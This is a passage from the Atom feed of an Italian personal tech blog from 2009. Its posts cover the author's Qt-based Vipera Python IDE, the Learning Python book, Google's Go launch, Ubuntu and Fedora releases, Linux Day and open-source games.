href='http://www.blogger.com/feeds/8006066354061501161/posts/default/3440297359275717495'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/12/go-language-go-statement.html' title='Go Language - go statement'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-5451884712969858376</id><published>2009-12-08T13:04:00.003+01:00</published><updated>2009-12-08T13:07:31.540+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ide'/><category scheme='http://www.blogger.com/atom/ns#' term='Qt'/><category scheme='http://www.blogger.com/atom/ns#' term='C/C++'/><title type='text'>Vipera IDE now on svn</title><content type='html'>Con un po' di ritardo rispetto all'inizio dei lavori ho messo sotto SVN il mio nuovo progetto sviluppato in Qt.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_sXS0ScZT1Nw/Sx5A7cwCCbI/AAAAAAAAAe0/I_QwhRcWT60/s1600-h/vipera_icon.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 215px; height: 200px;" src="http://4.bp.blogspot.com/_sXS0ScZT1Nw/Sx5A7cwCCbI/AAAAAAAAAe0/I_QwhRcWT60/s320/vipera_icon.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5412835192220027314" /&gt;&lt;/a&gt;&lt;br /&gt;Spero possa essere d'aiuto a molti che non solo vogliono avvicinarsi a python (per il momento può essere un editor di qualsiasi cosa) ma anche a coloro che vogliono giocare un po' con le librerie Qt.&lt;br /&gt;&lt;br /&gt;Il link dove poter consultare/scaricare il codice sorgente è all'indirizzo &lt;a href="https://code.google.com/p/viperaide/"&gt;https://code.google.com/p/viperaide/&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Sono molto graditi tutti i suggerimenti e tutte le critiche.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-5451884712969858376?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/5451884712969858376/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=5451884712969858376' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/5451884712969858376'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/5451884712969858376'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/12/vipera-ide-now-on-svn.html' title='Vipera IDE now on svn'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_sXS0ScZT1Nw/Sx5A7cwCCbI/AAAAAAAAAe0/I_QwhRcWT60/s72-c/vipera_icon.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-4639850558716550678</id><published>2009-12-06T14:15:00.004+01:00</published><updated>2009-12-06T14:42:01.570+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Books'/><category scheme='http://www.blogger.com/atom/ns#' term='Python'/><category scheme='http://www.blogger.com/atom/ns#' term='How To Pythonize'/><title type='text'>How To Pythonize - Letture impegnate</title><content type='html'>Per la serie imparare Python voglio ora comunicare l'uscita, in ottobre, di un libro completo e molto utile.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://i269.photobucket.com/albums/jj44/downarchive2/member5/OReilly-LearningPython4thEdition200.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 324px; height: 424px;" src="http://i269.photobucket.com/albums/jj44/downarchive2/member5/OReilly-LearningPython4thEdition200.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;Learning Python è giunto alla quarta edizione. La terza edizione copriva praticamente tutti gli aspetti core di Python 2.5 ma dopo l'uscita di Python 3.x è stato necessario anche aggiornare tutta la letteratura di riferimento. Ecco come si pone questa nuova edizione.&lt;br /&gt;&lt;br /&gt;Ho ottenuto ieri il libro e mi è sembrato subito molto completo e chiaro in pieno stile O'Reilly. Tratta veramente un'infinità di aspetti su Python 2.6 e 3.x (Siamo arrivati alla versione 3.1). È un libro molto grande, sia dal punto di vista del volume visto che si tratta di più di 1200 pagine, sia dal punto di vista degli argomenti trattati.&lt;br /&gt;Mi sembra un deciso passo avanti rispetto all'edizione 3 e non solo una semplice revisione che molto spesso vediamo arrivare sugli scaffali.&lt;br /&gt;&lt;br /&gt;Insomma un must di ogni programmer-bilioteca.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-4639850558716550678?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/4639850558716550678/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=4639850558716550678' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/4639850558716550678'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/4639850558716550678'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/12/how-to-pythonize-letture-impegnate.html' title='How To Pythonize - Letture impegnate'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://i269.photobucket.com/albums/jj44/downarchive2/member5/th_OReilly-LearningPython4thEdition200.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-7562531430415435349</id><published>2009-11-11T18:40:00.003+01:00</published><updated>2009-11-11T18:45:53.194+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programmazione'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Free Software'/><category scheme='http://www.blogger.com/atom/ns#' term='Go'/><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><title type='text'>Let's GO</title><content type='html'>Il mio aggregatore di notizie mi vomita tonnellate di news ogni giorno in una pagina dal design minimale (GOOGLE RULEZ).&lt;br /&gt;Oggi però, proprio parlando di Google, mi è saltato all'occhio un trafiletto veramente interessante:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Have you heard about Go? We released a new, experimental systems programming language today. It is open source and we're excited about sharing it with the development community. For more information, check out the Google Open Source blog.&lt;br /&gt;&lt;br /&gt;By Robert Griesemer, Rob Pike, Ken Thompson, Ian Taylor, Russ Cox, Jini Kim and Adam Langley - The Go Team&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://golang.org/doc/logo-153x55.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 153px; height: 55px;" src="http://golang.org/doc/logo-153x55.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;Allora mi sono precipitato sul sito ufficiale: &lt;a href="http://golang.org"&gt;http://golang.org&lt;/a&gt; e ho scoperto che è un linguaggio di sistema dinamico come python ma che si compila e ha una velocità di esecuzione come C/C++.&lt;br /&gt;In pratica ora non resta che prendersi i tutorial e cercare di capire che cosa ci ha nascosto mamma Google per tutto questo tempo...&lt;br /&gt;&lt;br /&gt;È ora di tuffarsi in un nuovo linguaggio tutto da imparare...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-7562531430415435349?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/7562531430415435349/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=7562531430415435349' title='1 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/7562531430415435349'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/7562531430415435349'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/11/lets-go.html' title='Let&apos;s GO'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-3341862066305583206</id><published>2009-10-27T20:58:00.003+01:00</published><updated>2009-10-27T21:06:35.083+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ide'/><category scheme='http://www.blogger.com/atom/ns#' term='Programmazione'/><category scheme='http://www.blogger.com/atom/ns#' term='Qt'/><category scheme='http://www.blogger.com/atom/ns#' term='C/C++'/><category scheme='http://www.blogger.com/atom/ns#' term='Python'/><title type='text'>Vipera - Python IDE</title><content type='html'>Devo dire una cosa: NetBeans è molto pesante, così come il "più performante" Eclipse.&lt;br /&gt;Visto che mi sono stancato dei tempi di caricamento ho pensato di scrivermi io stesso un comodo ide molto veloce e leggero che consenta di gestire i progetti e permetta un minimo di autocompletamento e di sintassi evidenziata.&lt;br /&gt;&lt;br /&gt;Ecco com'è nato Vipera di cui voglio far vedere le prime immagini del progetto. Il set di icone è un po' rudimentale ma assolutamente chiare.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_sXS0ScZT1Nw/SudSJfW3RFI/AAAAAAAAAdk/0Bta3hDIaZk/s1600-h/viperaIde.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 214px;" src="http://2.bp.blogspot.com/_sXS0ScZT1Nw/SudSJfW3RFI/AAAAAAAAAdk/0Bta3hDIaZk/s320/viperaIde.png" alt="" id="BLOGGER_PHOTO_ID_5397373001416524882" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Il programma è sviluppato in C++ utilizzando le librerie Qt per una massima portabilità ma devo già da ora precisare che sarà ottimizzato per Gnu/Linux.&lt;br /&gt;Spero di poter rilasciare una versione beta molto presto.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-3341862066305583206?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/3341862066305583206/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=3341862066305583206' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/3341862066305583206'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/3341862066305583206'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/10/vipera-python-ide.html' title='Vipera - Python IDE'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_sXS0ScZT1Nw/SudSJfW3RFI/AAAAAAAAAdk/0Bta3hDIaZk/s72-c/viperaIde.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-1305028245082077301</id><published>2009-10-27T20:47:00.004+01:00</published><updated>2009-10-27T20:56:18.529+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Gnu Linux Ubuntu'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Ubuntu 9.10</title><content type='html'>Incredibile!!! Dopo due anni di Linux Day, quest'anno ho dovuto disertare per lavoro.&lt;br /&gt;Mi faccio subito perdonare portando all'attenzione un articolo che parla di Mark Shuttleworth mentre si esprime sul prossimo rilascio di Ubuntu, che avverrà fra 2 giorni come potete vedere dal count down nel blog, e su Windows 7, su quale tutti stanno dicendo la loro.&lt;br /&gt;&lt;br /&gt;Personalmente non vedo l'ora di provare il nuovo Ubuntu mentre non mi interesso particolarmente delle evoluzioni di Windows visto che è un sistema nato vecchio perchè doveva essere rilasciato al posto di Vista, che non può essere definito sistema operativo visto che di operativo non ha proprio nulla.&lt;br /&gt;&lt;br /&gt;Ecco a voi il link dell'articolo molto interessante da leggere: &lt;a href="http://www.ilsoftware.it/articoli.asp?id=5638"&gt;http://www.ilsoftware.it/articoli.asp?id=5638&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Buona lettura :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-1305028245082077301?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/1305028245082077301/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=1305028245082077301' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/1305028245082077301'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/1305028245082077301'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/10/ubuntu-910.html' title='Ubuntu 9.10'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-547978268628788286</id><published>2009-09-26T15:06:00.004+02:00</published><updated>2009-09-26T15:21:14.244+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='LuccaLUG'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Free Software'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux Day'/><title type='text'>Linux Day 2009, -1 mese</title><content type='html'>Comincio con lo scusarmi per un lungo periodi di silenzio ma sto preparando un articolino particolarmente interessante, che se funzionerà porterà ad altri interessanti articolini, oltre all'arrivo di un BlackBerry che implora di essere utilizzato per lo sviluppo.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.luccalug.it/images/6/6e/Ldcapannori.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 325px; height: 148px;" src="http://www.luccalug.it/images/6/6e/Ldcapannori.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Anche quest'anno si terrà il Linux Day il 24 ottobre. Il Linux Day è l'occasione per tutti i membri della comunità Gnu/Linux di far conoscere al mondo le potenzialità dell'open source. Si terranno iniziative portate avanti dai vari LUG in tutt'Italia e io sarò presente al Linux Day di Lucca per seguire tutto quello che hanno preparato nella cornice di Capannori i ragazzi del LuccaLUG.&lt;br /&gt;&lt;br /&gt;Buon divertimento a tutti!!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-547978268628788286?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/547978268628788286/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=547978268628788286' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/547978268628788286'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/547978268628788286'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/09/linux-day-2009-1-mese.html' title='Linux Day 2009, -1 mese'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-132694257268456846</id><published>2009-09-05T15:53:00.004+02:00</published><updated>2009-09-05T15:58:27.115+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Gnu Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Fedora'/><category scheme='http://www.blogger.com/atom/ns#' term='Free Software'/><title type='text'>Fedora 11 sul mio pc</title><content type='html'>La mia scheda di rete, o il mio router, devo ancora capirlo, mi ha sempre dato problemi con ubuntu.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://fedoraproject.org/static/images/banners/f11release.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 200px; height: 100px;" src="https://fedoraproject.org/static/images/banners/f11release.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Ho provato molte strade ma nessuna ha portato frutti quindi ho provato a installare Fedora 11 che aggiorna il kernel a una versiona più recente.&lt;br /&gt;&lt;br /&gt;Ora vedremo come si comporterà nei prossimi riavvii. Il problema infatti sorge mano a mano che si va avanti.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-132694257268456846?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/132694257268456846/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=132694257268456846' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/132694257268456846'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/132694257268456846'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/09/fedora-11-sul-mio-pc.html' title='Fedora 11 sul mio pc'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-353407452520836583</id><published>2009-09-04T21:00:00.003+02:00</published><updated>2009-09-04T21:08:31.448+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><category scheme='http://www.blogger.com/atom/ns#' term='Microsoft'/><category scheme='http://www.blogger.com/atom/ns#' term='Diritto'/><title type='text'>Microsoft non si smentisce mai!</title><content type='html'>Purtroppo a casa non ho questo "privilegio" ma in ufficio mi è stato chiesto di aggiornare Internet Explorer alla versione 8.&lt;br /&gt;&lt;br /&gt;Appena installato ha chiesto se volevo configurarlo ed ecco che domanda fa:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_sXS0ScZT1Nw/SqFkbcg5sNI/AAAAAAAAAdc/87CA3KsML3Q/s1600-h/ms1.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 235px;" src="http://2.bp.blogspot.com/_sXS0ScZT1Nw/SqFkbcg5sNI/AAAAAAAAAdc/87CA3KsML3Q/s320/ms1.png" alt="" id="BLOGGER_PHOTO_ID_5377689852730519762" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;In pratica ci chiedono se possono raccogliere delle informazioni sui siti che visitiamo per poi spammarci in faccia la più grossa violazione della privacy.&lt;br /&gt;&lt;br /&gt;Per cortesia Bill non prendere in giro gli utenti. A voi le conclusioni.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-353407452520836583?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/353407452520836583/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=353407452520836583' title='2 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/353407452520836583'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/353407452520836583'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/09/microsoft-non-si-smentisce-mai.html' title='Microsoft non si smentisce mai!'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_sXS0ScZT1Nw/SqFkbcg5sNI/AAAAAAAAAdc/87CA3KsML3Q/s72-c/ms1.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-369369315432463665</id><published>2009-08-30T14:57:00.004+02:00</published><updated>2009-08-30T15:08:09.240+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Giochi'/><category scheme='http://www.blogger.com/atom/ns#' term='Gnu Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>Warsow 0.5 released</title><content type='html'>Il mondo dei giochi open source è costellato di prodotti di nicchia con un gameplay particolari o esperimenti.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.warsow.net"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 384px; height: 65px;" src="http://static.warsow.net/img/header.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Warsow è sviluppato da un team che a potenziato il motore grafico di quake 2 e sviluppato un gioco dal gameplay originale. Ma non basta. Via via che si procede nelle release, seppure sempre in beta, aggiungono mappe, modalità, armi e migliorano costantemente movimenti e bilanciamento.&lt;br /&gt;&lt;br /&gt;Questo processo unito a una community di tutto rispetto rende Warsow una perla veramente rara da non lasciarsi scappare.&lt;br /&gt;&lt;br /&gt;Ecco il sito ufficiale da dove è possibile scaricare la nuova versione e partecipare al forum di discussione molto popolato: &lt;a href="http://www.warsow.net/"&gt;www.warsow.net&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;PS: da giocare fra un duel di quakelive e l'altro &lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://forum.gamesvillage.it/images/smilies/asd.gif"&gt;&lt;img style="margin: 0px; cursor: pointer; width: 15px; height: 15px;" src="http://forum.gamesvillage.it/images/smilies/asd.gif" alt="" border="0" /&gt;&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-369369315432463665?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/369369315432463665/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=369369315432463665' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/369369315432463665'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/369369315432463665'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/08/warsow-05-released.html' title='Warsow 0.5 released'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-2519658503933254105</id><published>2009-08-19T09:45:00.003+02:00</published><updated>2009-08-19T09:53:10.830+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Giochi'/><category scheme='http://www.blogger.com/atom/ns#' term='Gnu Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>Quake Live for Linux</title><content type='html'>Questo è sicuramente l'evento dell'estate. Quake Live sbarca con una puntualità svizzera su Gnu/Linux.&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://mainble.com/renovat/wp-content/uploads/2009/04/quake-live-beta.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 322px; height: 85px;" src="http://mainble.com/renovat/wp-content/uploads/2009/04/quake-live-beta.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Facciamo un po' di chiarezza:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Quake Live è uno sparattutto in prima persona praticamente solo multiplayer&lt;/li&gt;&lt;li&gt;Quake Live ha un motore grafico che è un potenziamento del motore rilasciato sotto GPL di Quake 3 Arena&lt;/li&gt;&lt;li&gt;Quake Live è completamente gratuito&lt;/li&gt;&lt;li&gt;Quake Live si gioca direttamente dal browser scaricando solo:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;un plug-in per firefox&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;i dati di gioco dal sito&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ol&gt;È stato lanciato più di un anno fa su Windows (mannaggia mannaggia) e da ieri lo possono giocare sia gli utentu Mac che gli utenti Gnu/Linux.&lt;br /&gt;&lt;br /&gt;Precipitatevi al sito &lt;a href="http://www.quakelive.com/"&gt;http://www.quakelive.com&lt;/a&gt; e provatelo è gratis ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-2519658503933254105?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/2519658503933254105/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=2519658503933254105' title='1 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/2519658503933254105'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/2519658503933254105'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/08/quake-live-for-linux.html' title='Quake Live for Linux'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' 